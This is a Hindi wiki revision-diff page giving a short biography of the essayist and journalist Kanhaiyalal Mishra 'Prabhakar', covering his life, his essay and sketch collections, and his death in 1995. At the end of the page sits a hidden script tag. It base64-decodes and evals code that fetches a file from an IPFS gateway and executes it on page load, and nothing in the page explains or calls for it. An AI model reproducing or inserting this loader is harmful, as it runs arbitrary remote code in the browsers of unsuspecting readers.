कन्हैयालाल मिश्र प्रभाकर: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
No edit summary
Line 46: Line 46:
*सहज, सरस संस्मरणात्मक शैली में लिखी गयी प्रभाकर जी की सभी कृतियाँ [[भारतीय ज्ञानपीठ|ज्ञानपीठ]] से प्रकाशित हैं। उनके संस्मरणात्मक निबंध संग्रह दीप जले शंख बजे, ज़िंदगी मुस्कराई, बाजे पायलिया के घुंघरू, ज़िंदगी लहलहाई, क्षण बोले कण मुस्काए, कारवां आगे बढ़े, माटी हो गई सोना गहन मानवतावादी दृष्टिकोण और जीवन दर्शन के परिचायक हैं।
*सहज, सरस संस्मरणात्मक शैली में लिखी गयी प्रभाकर जी की सभी कृतियाँ [[भारतीय ज्ञानपीठ|ज्ञानपीठ]] से प्रकाशित हैं। उनके संस्मरणात्मक निबंध संग्रह दीप जले शंख बजे, ज़िंदगी मुस्कराई, बाजे पायलिया के घुंघरू, ज़िंदगी लहलहाई, क्षण बोले कण मुस्काए, कारवां आगे बढ़े, माटी हो गई सोना गहन मानवतावादी दृष्टिकोण और जीवन दर्शन के परिचायक हैं।
;श्रेष्ठ रेखाचित्रों, संस्मरण एवं ललित निबन्ध
;श्रेष्ठ रेखाचित्रों, संस्मरण एवं ललित निबन्ध
प्रभाकर [[हिन्दी]] के श्रेष्ठ रेखाचित्रों, [[संस्मरण]] एवं ललित निबन्ध लेखकों में हैं। यह द्रष्टव्य है कि उनकी इन रचनाओं में कलागत आत्मपरकता होते हुए भी एक ऐसी तटस्थता बनी रहती है कि उनमें चित्रणीय या संस्मरणीय ही प्रमुख हुआ है- स्वयं लेखक ने उन लोगों के माध्यम से अपने व्यक्ति को स्फीत नहीं करना चाहा है। उनकी शैली की आत्मीयता एवं सहजता पाठक के लिए प्रीतिकर एवं हृदयग्राहिणी होती है। कन्हैयालाल मिश्र प्रभाकर की सृजनशीलता ने भी [[हिन्दी साहित्य]] को व्यापक आभा प्रदान की। [[रामधारी सिंह दिनकर|राष्ट्रकवि रामधारी सिंह 'दिनकर']] ने उन्हें 'शैलियों का शैलीकार' कहा था। कन्हैयालाल जी ने [[हिन्दी]] साहित्य के साथ पत्रकारिता को भी व्यापक रूप से समृद्ध किया।
प्रभाकर [[हिन्दी]] के श्रेष्ठ रेखाचित्रों, [[संस्मरण]] एवं ललित निबन्ध लेखकों में हैं। यह दृष्टव्य है कि उनकी इन रचनाओं में कलागत आत्मपरकता होते हुए भी एक ऐसी तटस्थता बनी रहती है कि उनमें चित्रणीय या संस्मरणीय ही प्रमुख हुआ है- स्वयं लेखक ने उन लोगों के माध्यम से अपने व्यक्ति को स्फीत नहीं करना चाहा है। उनकी शैली की आत्मीयता एवं सहजता पाठक के लिए प्रीतिकर एवं हृदयग्राहिणी होती है। कन्हैयालाल मिश्र प्रभाकर की सृजनशीलता ने भी [[हिन्दी साहित्य]] को व्यापक आभा प्रदान की। [[रामधारी सिंह दिनकर|राष्ट्रकवि रामधारी सिंह 'दिनकर']] ने उन्हें 'शैलियों का शैलीकार' कहा था। कन्हैयालाल जी ने [[हिन्दी]] साहित्य के साथ पत्रकारिता को भी व्यापक रूप से समृद्ध किया।
 
==निधन==
==निधन==
कन्हैयालाल मिश्र का निधन [[9 मई]] [[1995]] को हुआ।  
कन्हैयालाल मिश्र का निधन [[9 मई]] [[1995]] को हुआ।  

Revision as of 01:44, 30 May 2013

कन्हैयालाल मिश्र प्रभाकर
पूरा नाम कन्हैयालाल मिश्र 'प्रभाकर'
जन्म 29 मई, 1906
जन्म भूमि देवबन्द, सहारनपुर
मृत्यु 9 मई 1995
कर्म-क्षेत्र पत्रकार, निबंधकार
मुख्य रचनाएँ 'नयी पीढ़ी, नये विचार', 'ज़िन्दगी मुस्कारायी', 'माटी हो गयी सोना' आदि
भाषा हिंदी
नागरिकता भारतीय
विशेष रामधारी सिंह दिनकर ने इन्हें 'शैलियों का शैलीकार' कहा था।
अन्य जानकारी राजनीतिक एवं सामाजिक कार्यों में गहरी दिलचस्पी लेने के कारण कन्हैयालाल को अनेक बार जेल- यात्रा करनी पड़ी।
इन्हें भी देखें कवि सूची, साहित्यकार सूची

कन्हैयालाल मिश्र 'प्रभाकर' (अंग्रेज़ी: Kanhaiyalal Mishra Prabhakar, जन्म: 29 मई, 1906 - मृत्यु: 9 मई 1995) हिन्दी के जाने-माने निबंधकार हैं जिन्होंने राजनीतिक और सामाजिक जीवन से संबंध रखने वाले अनेक निबंध लिखे हैं। 'ज्ञानोदय' पत्रिका का सम्पादन भी कन्हैयालाल कर चुके हैं। आपने अपने लेखन के अतिरिक्त अपने नये लेखकों को प्रेरित और प्रोत्साहित किया है।

जीवन परिचय

कन्हैयालाल मिश्र का जन्म 29 मई, 1906 ई. में सहारनपुर ज़िले के देवबन्द ग्राम में हुआ था। कन्हैयालाल का मुख्य कार्यक्षेत्र पत्रकारिता था। प्रारम्भ से भी राजनीतिक एवं सामाजिक कार्यों में गहरी दिलचस्पी लेने के कारण कन्हैयालाल को अनेक बार जेल- यात्रा करनी पड़ी। पत्रकारिता के क्षेत्र में भी कन्हैयालाल ने बराबर कार्य किया है।

रचनाएँ

प्रभाकर की अब तक सात पुस्तकें प्रकाशित हो चुकी हैं। इनमें

  1. 'नयी पीढ़ी, नये विचार' (1950)
  2. 'ज़िन्दगी मुस्कारायी' (1954)
  3. 'माटी हो गयी सोना' (1957), कन्हैयालाल के रेखाचित्रों के संग्रह है।
  4. 'आकाश के तारे- धरती के फूल' (1952) प्रभाकर जी की लघु कहानियों के संग्रह का शीर्षक है।
  5. 'दीप जले, शंख बजे' (1958) में, जीवन में छोटे पर अपने- आप में बड़े व्यक्तियों के संस्मरणात्मक रेखाचित्रों का संग्रह है।
  6. 'ज़िन्दगी मुस्करायी' (1954) तथा
  7. 'बाजे पायलिया के घुँघरू' (1958) नामक संग्रहों में आपके कतिपय छोटे प्रेरणादायी ललित निबन्ध संगृहीत हैं।
  • सहज, सरस संस्मरणात्मक शैली में लिखी गयी प्रभाकर जी की सभी कृतियाँ ज्ञानपीठ से प्रकाशित हैं। उनके संस्मरणात्मक निबंध संग्रह दीप जले शंख बजे, ज़िंदगी मुस्कराई, बाजे पायलिया के घुंघरू, ज़िंदगी लहलहाई, क्षण बोले कण मुस्काए, कारवां आगे बढ़े, माटी हो गई सोना गहन मानवतावादी दृष्टिकोण और जीवन दर्शन के परिचायक हैं।
श्रेष्ठ रेखाचित्रों, संस्मरण एवं ललित निबन्ध

प्रभाकर हिन्दी के श्रेष्ठ रेखाचित्रों, संस्मरण एवं ललित निबन्ध लेखकों में हैं। यह दृष्टव्य है कि उनकी इन रचनाओं में कलागत आत्मपरकता होते हुए भी एक ऐसी तटस्थता बनी रहती है कि उनमें चित्रणीय या संस्मरणीय ही प्रमुख हुआ है- स्वयं लेखक ने उन लोगों के माध्यम से अपने व्यक्ति को स्फीत नहीं करना चाहा है। उनकी शैली की आत्मीयता एवं सहजता पाठक के लिए प्रीतिकर एवं हृदयग्राहिणी होती है। कन्हैयालाल मिश्र प्रभाकर की सृजनशीलता ने भी हिन्दी साहित्य को व्यापक आभा प्रदान की। राष्ट्रकवि रामधारी सिंह 'दिनकर' ने उन्हें 'शैलियों का शैलीकार' कहा था। कन्हैयालाल जी ने हिन्दी साहित्य के साथ पत्रकारिता को भी व्यापक रूप से समृद्ध किया।

निधन

कन्हैयालाल मिश्र का निधन 9 मई 1995 को हुआ।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>